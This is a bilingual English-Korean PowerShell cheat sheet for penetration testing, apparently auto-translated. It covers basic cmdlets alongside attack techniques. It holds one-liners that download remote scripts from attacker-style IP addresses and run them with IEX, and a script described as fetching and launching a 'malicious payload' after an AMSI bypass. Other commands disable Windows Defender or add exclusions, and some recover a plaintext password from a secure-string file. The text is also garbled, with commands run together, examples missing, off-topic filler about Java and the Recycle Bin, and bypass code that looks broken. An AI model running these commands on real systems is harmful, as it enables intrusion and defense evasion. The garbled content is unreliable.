Here are some basic PowerShell commands to help you get started:
다음은 시작하기 위한 몇 가지 기본 PowerShell 명령어입니다:
Get-Command
Use the Get-Command command to retrieve a list of available commands in PowerShell.
PowerShell에서 사용 가능한 명령어 목록을 가져오려면 Get-Command 명령어를 사용하세요.
Get-Command
Get-Help
The Get-Help command allows you to access the built-in help documentation for any PowerShell command.
Get-Help 명령어를 사용하면 PowerShell 명령어에 대한 내장 도움말 문서에 액세스할 수 있습니다.
Get-Help<command>
Replace <command> with the name of the command you want to learn more about.
<command>를 알아보고자 하는 명령어의 이름으로 대체하세요.
Get-Process
The Get-Process command displays a list of currently running processes on the system.
Get-Process 명령어는 시스템에서 현재 실행 중인 프로세스 목록을 표시합니다.
Get-Process
Get-Service
Use the Get-Service command to retrieve a list of services running on the system.
Get-Service 명령어를 사용하여 시스템에서 실행 중인 서비스 목록을 가져옵니다.
Get-Service
Get-EventLog
The Get-EventLog command allows you to access the event logs on the system.
Get-EventLog 명령어를 사용하면 시스템의 이벤트 로그에 액세스할 수 있습니다.
Get-EventLog-LogName <logname>
Replace <logname> with the name of the event log you want to retrieve.
<logname>을 검색하려는 이벤트 로그의 이름으로 대체하세요.
These are just a few basic PowerShell commands to get you started. As you become more familiar with PowerShell, you can explore more advanced commands and techniques.
이것은 시작하기 위한 몇 가지 기본 PowerShell 명령어에 불과합니다. PowerShell에 익숙해지면 더 고급 명령어와 기술을 탐색할 수 있습니다.
Get-Help*#List everything loadedGet-Helpprocess#List everything containing "process"Get-HelpGet-Item-Full #Get full helpabout a topicGet-HelpGet-Item-Examples #List examplesImport-Module<modulepath>Get-Command-Module <modulename>
다운로드 및 실행
In this section, we will discuss techniques for downloading and executing files using PowerShell. These techniques can be useful for various purposes, such as downloading additional tools or payloads during a penetration test.
Downloading Files
To download a file using PowerShell, you can use the Invoke-WebRequest cmdlet. Here is an example:
In the above example, replace "http://example.com/file.exe" with the URL of the file you want to download, and "C:\path\to\save\file.exe" with the desired path and filename for saving the downloaded file.
Executing Files
Once you have downloaded a file, you may want to execute it. To execute a file using PowerShell, you can use the Start-Process cmdlet. Here is an example:
Start-Process-FilePath "C:\path\to\file.exe"
In the above example, replace "C:\path\to\file.exe" with the actual path and filename of the file you want to execute.
Downloading and Executing in One Line
To download and execute a file in one line, you can use the following command:
In the above command, replace "http://example.com/file.exe" with the URL of the file you want to download, and "C:\path\to\save\file.exe" with the desired path and filename for saving the downloaded file.
Remember to exercise caution when downloading and executing files from untrusted sources, as they may contain malicious content.
gecho IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(
#https://twitter.com/Alh4zr3d/status/1566489367232651264#host a text record with your payload at one of your (unburned) domains and do this:powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
AMSI 우회를 사용하여 백그라운드에서 다운로드 및 실행하기
$URL ="http://example.com/malicious_payload.exe"$Output ="C:\Temp\malicious_payload.exe"# AMSI 우회를 위한 함수 정의functionBypass-AMSI { $TypeDefinition =@'using System;using System.Runtime.InteropServices;public class Amsi{ [DllImport("Amsi.dll")] public static extern void AmsiScanBuffer(IntPtr amsiContext, IntPtr buffer, uint length, string contentName, IntPtr session, out int result);
}'@ $AmsiAssembly =Add-Type-TypeDefinition $TypeDefinition -PassThru $AmsiContext = [System.IntPtr]::Zero $AmsiAssembly::AmsiScanBuffer($AmsiContext, [System.IntPtr]::Zero,0,"Bypass-AMSI", [System.IntPtr]::Zero, [ref]0)}# AMSI 우회 함수 호출Bypass-AMSI# 파일 다운로드 및 실행Invoke-WebRequest-Uri $URL -OutFile $OutputStart-Process-FilePath $Output
이 스크립트는 AMSI(Anti-Malware Scan Interface)를 우회하여 백그라운드에서 악성 페이로드를 다운로드하고 실행하는 방법을 보여줍니다.
$URL ="http://example.com/malicious_payload.exe"$Output ="C:\Temp\malicious_payload.exe"# AMSI bypass 함수 정의functionBypass-AMSI { $TypeDefinition =@'using System;using System.Runtime.InteropServices;public class Amsi{ [DllImport("Amsi.dll")] public static extern void AmsiScanBuffer(IntPtr amsiContext, IntPtr buffer, uint length, string contentName, IntPtr session, out int result);
}'@ $AmsiAssembly =Add-Type-TypeDefinition $TypeDefinition -PassThru $AmsiContext = [System.IntPtr]::Zero $AmsiAssembly::AmsiScanBuffer($AmsiContext, [System.IntPtr]::Zero,0,"Bypass-AMSI", [System.IntPtr]::Zero, [ref]0)}# AMSI 우회 함수 호출Bypass-AMSI# 파일 다운로드 및 실행Invoke-WebRequest-Uri $URL -OutFile $OutputStart-Process-FilePath $Output
This script demonstrates how to download and execute a malicious payload in the background by bypassing AMSI (Anti-Malware Scan Interface).
BitsTransfer는 PowerShell에서 파일 전송을 수행하는 데 사용되는 기능입니다. 이 기능을 사용하면 원격 서버로부터 파일을 다운로드하거나 원격 서버로 파일을 업로드할 수 있습니다. BitsTransfer는 대용량 파일의 안정적인 전송을 지원하며, 네트워크 연결이 불안정한 경우에도 중단된 전송을 자동으로 재개할 수 있습니다.
BitsTransfer를 사용하여 파일을 다운로드하려면 Start-BitsTransfer cmdlet을 사용하고, 파일을 업로드하려면 Start-BitsTransfer cmdlet을 사용합니다. 이 cmdlet은 다운로드 또는 업로드할 파일의 경로와 대상 경로를 지정하는 매개변수를 사용합니다.
# Check statusGet-MpComputerStatusGet-MpPreference| select Exclusion*| fl #Check exclusions# DisableSet-MpPreference-DisableRealtimeMonitoring $true#To completely disable Windows Defender on a computer, use the command:New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion pathSet-MpPreference-ExclusionPath (pwd) -disablerealtimemonitoringAdd-MpPreference-ExclusionPath (pwd)# Check exclusions configured via GPOParse-PolFile .\Registry.polKeyName : Software\Policies\Microsoft\Windows Defender\ExclusionsValueName : Exclusions_PathsValueType : REG_DWORDValueLength : 4ValueData : 1KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\PathsValueName : C:\Windows\TempValueType : REG_SZValueLength : 4ValueData : 0
AMSI 우회
**amsi.dll**은 로드되어 있으며, 어떤 애플리케이션과도 상호 작용하기 위해 필요한 내보내기를 가지고 있습니다. 그리고 그것은 프로세스의 메모리 공간에 로드되어 있으므로 제어하는 프로세스에서 메모리의 명령을 덮어쓰는 것으로 동작을 변경할 수 있습니다. 이로 인해 아무것도 감지하지 못하도록 만들 수 있습니다.
따라서, AMSI 우회의 목표는 메모리의 해당 DLL의 명령을 덮어쓰어 감지를 무력화하는 것입니다.
To get the permissions of a file or directory in PowerShell, you can use the Get-Acl cmdlet. This cmdlet retrieves the access control list (ACL) for the specified object.
Get-Acl-Path C:\path\to\file.txt
This command will display the permissions associated with the file.txt file, including the user or group that has each permission.
You can also use the Get-NTFSAccess function from the PowerView module to get a more detailed view of the permissions.
Get-NTFSAccess-Path C:\path\to\file.txt
This command will provide a more granular breakdown of the permissions, including the access rights, inheritance settings, and the object type.
By understanding the permissions associated with a file or directory, you can assess the level of access and potential vulnerabilities in a system.
Get-Acl-Path "C:\Program Files\Vuln Services"| fl
운영체제 버전 및 HotFixes
To determine the version of the operating system and the installed HotFixes, you can use the following PowerShell commands:
# Get the operating system version(Get-WmiObject-Class Win32_OperatingSystem).Caption# Get the installed HotFixesGet-HotFix
The first command retrieves the version of the operating system using the Win32_OperatingSystem class. The second command lists all the installed HotFixes on the system using the Get-HotFix cmdlet.
[System.Environment]::OSVersion.Version #Current OS versionGet-WmiObject-query 'select * from win32_quickfixengineering'|foreach {$_.hotfixid} #List all patchesGet-Hotfix-description "Security update"#List only "Security Update" patches
환경
The following techniques and commands are applicable to Windows operating systems. It is recommended to have a basic understanding of PowerShell before proceeding with the examples provided in this guide.
다음 기술과 명령은 Windows 운영 체제에 적용됩니다. 이 가이드에서 제공하는 예제를 진행하기 전에 PowerShell에 대한 기본적인 이해를 가지고 있는 것이 좋습니다.
PowerShell Basics
PowerShell is a powerful scripting language and automation framework developed by Microsoft. It provides a command-line interface (CLI) that allows users to interact with the operating system and perform various tasks.
PowerShell은 Microsoft에서 개발한 강력한 스크립팅 언어 및 자동화 프레임워크입니다. 이는 사용자가 운영 체제와 상호 작용하고 다양한 작업을 수행할 수 있는 명령 줄 인터페이스 (CLI)를 제공합니다.
Running PowerShell
PowerShell can be run in several ways:
PowerShell Console: This is the default way to run PowerShell. Simply open the console and start typing commands.
PowerShell ISE: The PowerShell Integrated Scripting Environment (ISE) provides a more advanced interface for writing and running PowerShell scripts.
PowerShell Command Prompt: The PowerShell command prompt can be accessed by running powershell.exe from the Windows command prompt or by selecting "Windows PowerShell" from the Start menu.
PowerShell은 여러 가지 방법으로 실행할 수 있습니다:
PowerShell 콘솔: 이것은 PowerShell을 실행하는 기본적인 방법입니다. 콘솔을 열고 명령을 입력하기만 하면 됩니다.
PowerShell ISE: PowerShell 통합 스크립팅 환경 (ISE)은 PowerShell 스크립트를 작성하고 실행하기 위한 더 고급 인터페이스를 제공합니다.
PowerShell 명령 프롬프트: PowerShell 명령 프롬프트는 Windows 명령 프롬프트에서 powershell.exe를 실행하거나 시작 메뉴에서 "Windows PowerShell"을 선택하여 액세스할 수 있습니다.
PowerShell Help
PowerShell provides a comprehensive help system that can be accessed using the Get-Help command. This command allows you to search for help topics, get detailed information about specific commands, and learn about PowerShell concepts and features.
PowerShell은 Get-Help 명령을 사용하여 액세스할 수 있는 포괄적인 도움말 시스템을 제공합니다. 이 명령을 사용하면 도움말 주제를 검색하고 특정 명령에 대한 자세한 정보를 얻으며 PowerShell 개념과 기능에 대해 알아볼 수 있습니다.
To get help on a specific command, use the following syntax:
특정 명령에 대한 도움말을 얻으려면 다음 구문을 사용하십시오:
Get-Help<command>
For example, to get help on the Get-Process command, you would run:
예를 들어, Get-Process 명령에 대한 도움말을 얻으려면 다음을 실행합니다:
Get-HelpGet-Process
PowerShell Execution Policy
PowerShell has an execution policy that determines whether scripts can be run on a system. The execution policy can be set to one of the following values:
Restricted: No scripts are allowed to run. This is the default policy.
AllSigned: Only scripts signed by a trusted publisher can run.
RemoteSigned: Scripts downloaded from the internet must be signed, but local scripts do not require a signature.
Unrestricted: All scripts can run, regardless of their signature.
To check the current execution policy, use the following command:
PowerShell에는 시스템에서 스크립트를 실행할 수 있는지 여부를 결정하는 실행 정책이 있습니다. 실행 정책은 다음 값 중 하나로 설정할 수 있습니다:
To change the execution policy, use the following command:
실행 정책을 변경하려면 다음 명령을 사용하십시오:
Set-ExecutionPolicy<policy>
Replace <policy> with the desired execution policy (e.g., RemoteSigned).
<policy>를 원하는 실행 정책 (예: RemoteSigned)으로 대체하십시오.
Get-ChildItem Env: | ft Key,Value #get all values$env:UserName @Get UserName value
다른 연결된 드라이브
In addition to the local drive, there may be other drives connected to the system. These drives can be accessed using PowerShell commands. Here are some useful commands to work with connected drives:
Get-PSDrive
The Get-PSDrive command lists all the drives available on the system, including local drives, network drives, and mapped drives.
Get-PSDrive
Get-Volume
The Get-Volume command provides information about the volumes on the system, including drive letters, file systems, and capacities.
Get-Volume
Get-WmiObject
The Get-WmiObject command retrieves information about the logical disks on the system, including drive letters, sizes, and free space.
Get-WmiObject-Class Win32_LogicalDisk
Get-Partition
The Get-Partition command displays information about the partitions on the system, including drive letters, sizes, and offsets.
Get-Partition
By using these commands, you can gather information about the connected drives on a system, which can be useful for various purposes, such as identifying potential targets for further exploration or exploitation.
Get-PSDrive|where {$_.Provider-like"Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
휴지통
The Recycle Bin is a feature in Windows that allows users to temporarily store deleted files and folders. When a file or folder is deleted, it is moved to the Recycle Bin instead of being permanently deleted from the system. This provides a safety net in case the user accidentally deletes something and wants to restore it later.
To access the Recycle Bin, simply double-click on its icon on the desktop. This will open a window displaying all the files and folders that have been deleted. From here, you can select the items you want to restore and click on the "Restore" button to move them back to their original location.
It's important to note that the Recycle Bin has a limited storage capacity. Once it reaches its maximum size, older files will be automatically deleted to make room for new ones. Therefore, it's a good practice to regularly empty the Recycle Bin to free up disk space.
In addition to restoring deleted files, the Recycle Bin also allows users to permanently delete files. To do this, simply select the files you want to delete and click on the "Delete" button. This will bypass the Recycle Bin and permanently remove the selected files from the system.
Overall, the Recycle Bin is a useful feature that helps prevent accidental file deletions and provides a way to recover deleted files if needed.
위의 예제에서는 ConvertTo-SecureString cmdlet을 사용하여 "MySecurePassword"라는 문자열을 Secure String으로 변환하고, ConvertFrom-SecureString cmdlet을 사용하여 다시 평문으로 변환합니다. 이렇게 변환된 평문은 변수 $plainText에 저장됩니다.
암호화된 문자열을 평문으로 변환할 때는 주의해야 합니다. 변환된 평문은 암호화되지 않은 상태로 저장되므로, 보안에 민감한 정보를 다룰 때에는 적절한 보호 조치를 취해야 합니다.
In some cases, you may come across a secure string that contains a password. To retrieve the password from the secure string, you can use the following PowerShell command:
Replace "encryptedPassword" with the actual value of the secure string. After executing the above commands, the variable $plainTextPassword will contain the password in plain text.
Please note that this method should be used with caution, as it involves storing the password in memory in plain text format, which can be a security risk.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
예약된 작업
Scheduled Tasks(예약된 작업)은 Windows 운영 체제에서 특정 시간 또는 이벤트에 따라 실행되는 자동화된 작업입니다. 이러한 작업은 시스템 유지 관리, 데이터 백업, 프로그램 실행 등 다양한 용도로 사용될 수 있습니다. 예약된 작업은 일반적으로 PowerShell을 사용하여 생성, 수정 및 삭제할 수 있습니다.
여기서 <TaskName>, <Action>, <Trigger>, <Principal>, <Settings>는 각각 작업의 이름, 실행 동작, 트리거, 주체 및 설정을 나타냅니다.
예약된 작업 삭제
예약된 작업을 삭제하려면 다음 명령을 사용합니다.
Remove-ScheduledTask -TaskName <TaskName>
여기서 <TaskName>은 삭제할 작업의 이름입니다.
예약된 작업 실행
예약된 작업을 수동으로 실행하려면 다음 명령을 사용합니다.
Start-ScheduledTask -TaskName <TaskName>
여기서 <TaskName>은 실행할 작업의 이름입니다.
예약된 작업 비활성화
예약된 작업을 비활성화하려면 다음 명령을 사용합니다.
Disable-ScheduledTask -TaskName <TaskName>
여기서 <TaskName>은 비활성화할 작업의 이름입니다.
예약된 작업 활성화
예약된 작업을 활성화하려면 다음 명령을 사용합니다.
Enable-ScheduledTask -TaskName <TaskName>
여기서 <TaskName>은 활성화할 작업의 이름입니다.
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
네트워크
포트 스캔
# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10
# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null
# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null
# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}
인터페이스
An interface is a contract that defines a set of methods that a class must implement. It provides a way to achieve abstraction in Java, allowing us to define the behavior of a class without specifying the implementation details.
인터페이스는 클래스가 구현해야 하는 메서드 집합을 정의하는 계약입니다. 이는 자바에서 추상화를 달성하는 방법을 제공하여 구현 세부 정보를 지정하지 않고 클래스의 동작을 정의할 수 있게 합니다.
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
방화벽
A firewall is a network security device that monitors and controls incoming and outgoing network traffic based on predetermined security rules. It acts as a barrier between a trusted internal network and an untrusted external network, such as the internet. Firewalls can be implemented as hardware devices, software programs, or a combination of both.
방화벽은 미리 정의된 보안 규칙에 따라 들어오고 나가는 네트워크 트래픽을 모니터링하고 제어하는 네트워크 보안 장치입니다. 신뢰할 수 있는 내부 네트워크와 인터넷과 같은 신뢰할 수 없는 외부 네트워크 사이에 장벽 역할을 합니다. 방화벽은 하드웨어 장치, 소프트웨어 프로그램 또는 둘의 조합으로 구현될 수 있습니다.
Get-NetFirewallRule -Enabled True
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow
# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow
# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action
경로
경로는 시스템에서 실행되는 프로그램이나 명령어를 찾는 데 사용되는 경로입니다. 일반적으로 시스템은 PATH 환경 변수에 정의된 경로를 검색하여 실행 파일을 찾습니다. 경로에는 실행 파일이나 스크립트가 위치한 디렉토리가 포함될 수 있습니다.
경로를 확인하려면 다음 명령어를 사용할 수 있습니다.
$env:Path
경로에 새로운 디렉토리를 추가하려면 다음 명령어를 사용할 수 있습니다.
$env:Path += ";C:\new\directory"
경로에 새로운 디렉토리를 추가한 후에는 해당 디렉토리에 있는 실행 파일이나 스크립트를 실행할 수 있습니다.
route print
ARP
ARP(Address Resolution Protocol)은 IP 주소를 물리적 MAC 주소로 매핑하는 프로토콜입니다. 이 프로토콜은 네트워크 장치들이 통신할 때 사용됩니다. ARP는 로컬 네트워크에서 작동하며, IP 주소를 MAC 주소로 변환하여 패킷을 전송합니다.
ARP는 다음과 같은 몇 가지 유형의 메시지를 사용합니다:
ARP Request: IP 주소에 대한 MAC 주소를 요청하는 메시지입니다.
ARP Reply: 요청에 대한 응답으로 MAC 주소를 제공하는 메시지입니다.
ARP는 네트워크 공격에 취약할 수 있습니다. ARP 스푸핑, ARP 포이즈닝 및 ARP 캐시 포이즈닝과 같은 공격 기술을 사용하여 중간자 공격을 수행할 수 있습니다. 이러한 공격은 네트워크 트래픽을 가로채고 조작하여 정보를 유출하거나 변조할 수 있습니다.
ARP 공격을 방지하기 위해 네트워크 장비에는 ARP 스푸핑 탐지 및 방지 기능이 포함되어야 합니다. 또한, ARP 테이블을 주기적으로 확인하고 이상한 동작을 감지하는 것이 좋습니다.
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
호스트
Hosts 파일은 운영 체제에서 IP 주소와 호스트 이름을 매핑하는 데 사용되는 로컬 파일입니다. 이 파일을 수정하여 특정 호스트 이름을 원하는 IP 주소로 연결할 수 있습니다. 이는 DNS 서버를 우회하고 특정 웹 사이트를 차단하거나 리디렉션하는 데 사용될 수 있습니다.
위치
Windows 운영 체제에서 Hosts 파일은 다음 경로에 있습니다.
C:\Windows\System32\drivers\etc\hosts
수정
Hosts 파일을 수정하려면 다음 단계를 따르세요.
텍스트 편집기를 사용하여 Hosts 파일을 엽니다.
원하는 호스트 이름과 IP 주소를 추가하거나 수정합니다.
파일을 저장하고 닫습니다.
주의 사항
Hosts 파일을 수정할 때 다음 사항을 유의해야 합니다.
호스트 이름과 IP 주소는 탭 또는 공백으로 구분되어야 합니다.
주석은 #으로 시작합니다.
수정한 후에는 변경 사항이 즉시 적용되지 않을 수 있으므로 컴퓨터를 다시 시작하거나 DNS 캐시를 지워야 할 수도 있습니다.
사용 예시
다음은 Hosts 파일을 사용하여 특정 웹 사이트를 차단하는 예시입니다.
# 차단할 웹 사이트
127.0.0.1 example.com
127.0.0.1 www.example.com
위의 예시에서는 example.com 및 www.example.com을 로컬 IP 주소인 127.0.0.1로 연결하여 해당 웹 사이트에 대한 액세스를 차단합니다.
Get-Content C:\WINDOWS\System32\drivers\etc\hosts
핑
ping 명령은 네트워크 상태를 확인하기 위해 사용되는 유용한 도구입니다. 이 명령은 목적지 호스트에 ICMP 패킷을 보내고 응답을 기다립니다. 이를 통해 목적지 호스트와의 연결 상태를 확인할 수 있습니다.
사용법
ping <목적지 호스트>
<목적지 호스트>: 핑을 보낼 목적지 호스트의 IP 주소 또는 도메인 이름입니다.
예제
ping 8.8.8.8
위의 예제에서는 Google의 공개 DNS 서버인 8.8.8.8로 핑을 보냅니다. 이를 통해 목적지 호스트와의 연결 상태를 확인할 수 있습니다.
결과 해석
핑 명령의 결과는 다음과 같은 정보를 제공합니다.
Reply from <목적지 호스트>: 목적지 호스트로부터 응답이 도착했음을 나타냅니다.
Request timed out: 목적지 호스트로부터 응답이 없음을 나타냅니다.
Destination host unreachable: 목적지 호스트에 도달할 수 없음을 나타냅니다.
TTL expired in transit: 패킷이 네트워크에서 유효 기간이 만료되었음을 나타냅니다.
패킷 손실률 계산
핑 명령의 결과를 통해 패킷 손실률을 계산할 수 있습니다. 패킷 손실률은 응답이 없는 패킷의 비율로, 네트워크 상태를 평가하는 데 도움이 됩니다.
SNMP(Simple Network Management Protocol)은 네트워크 장치들을 관리하기 위해 사용되는 프로토콜입니다. SNMP는 네트워크 장치들의 상태를 모니터링하고, 구성을 변경하고, 장애를 진단하는 등의 작업을 수행할 수 있습니다.
SNMP는 에이전트와 관리자 사이의 통신을 위해 사용됩니다. 에이전트는 네트워크 장치에 설치된 소프트웨어로, 관리자에게 장치의 정보를 제공하고 명령을 수행합니다. 관리자는 SNMP 관리 소프트웨어를 사용하여 에이전트와 통신하고, 장치들을 모니터링하고 제어할 수 있습니다.
SNMP는 주로 네트워크 장치들의 성능, 가용성, 구성 등을 모니터링하기 위해 사용됩니다. SNMP는 간단하고 효율적인 프로토콜이며, 다양한 장치들과 호환되기 때문에 널리 사용됩니다.
SNMP는 보안상의 이슈가 있을 수 있으므로, 적절한 보안 조치를 취해야 합니다. SNMPv3는 인증과 암호화를 지원하여 보안을 강화할 수 있습니다. 또한, SNMP 커뮤니티 문자열을 임의로 설정하는 것을 피하고, 액세스 제어 목록(ACL)을 사용하여 SNMP 트래픽을 제한하는 것이 좋습니다.
SNMP는 네트워크 관리에 필수적인 도구이지만, 악용될 수도 있습니다. 따라서, SNMP를 사용하는 경우 보안을 강화하는 것이 중요합니다.
To convert the SDDL (Security Descriptor Definition Language) string into a readable format, you can use the ConvertFrom-SddlString cmdlet in PowerShell. This cmdlet allows you to convert the SDDL string into an object that can be easily manipulated and understood.
SDDL strings are used to represent security descriptors in Windows. These security descriptors define the permissions and access control settings for various objects, such as files, folders, and registry keys.
Here is an example of how to use the ConvertFrom-SddlString cmdlet:
This will output the converted security descriptor object, which you can then analyze and interpret. The object will contain information about the owner, group, and access control entries (ACEs) defined in the SDDL string.
By converting the SDDL string into a readable format, you can easily understand the permissions and access control settings defined for a particular object, which can be useful for security analysis and troubleshooting.